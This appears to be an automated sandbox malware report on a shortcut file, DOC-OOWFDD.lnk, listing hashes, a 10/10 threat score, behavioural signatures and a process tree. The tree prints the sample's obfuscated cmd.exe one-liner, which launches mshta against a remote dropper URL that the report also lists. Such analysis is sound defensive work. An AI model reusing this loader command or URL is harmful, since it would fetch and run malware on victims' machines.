Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:29
Static task
static1
Behavioral task
behavioral1
Sample
DOC-OOWFDD.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-OOWFDD.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-OOWFDD.lnk
- Size 1KB
- Sample260804-kdzpfsvgnd
- SHA256 f1501d24c8de5c76bfbfa960f7ce7fe68061150c6cfbce859b623d6cc6bf5cf1
- MD5 d6cbc5e5e4a92db4cbad6dc8cff98257
- SHA1 5bb9e519db82f3fc5412b5839211f4d108703827
- SHA512 c9ddea989648dd2229fde396f5712afd5798a602430ee3dcec9b895f50d5e06d6ab41e7539a8df30b4d2b31a2c0dce76a1ba68cba5149a21611890e403265aa3
- TLSH T1713197503FFC0624F3F39F7388BB572885BEB8658D20CA2E0040490C5432A15E13AF67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4304 cmd.exe 2984 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4304 wrote to memory of 2984 4304 cmd.exe 90 PID 2984 wrote to memory of 3236 2984 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-OOWFDD.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4304 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /v:on /c "set OSoNp=msh&&set Tf=ta&&start "" !OSoNp!!Tf! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2984 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3236
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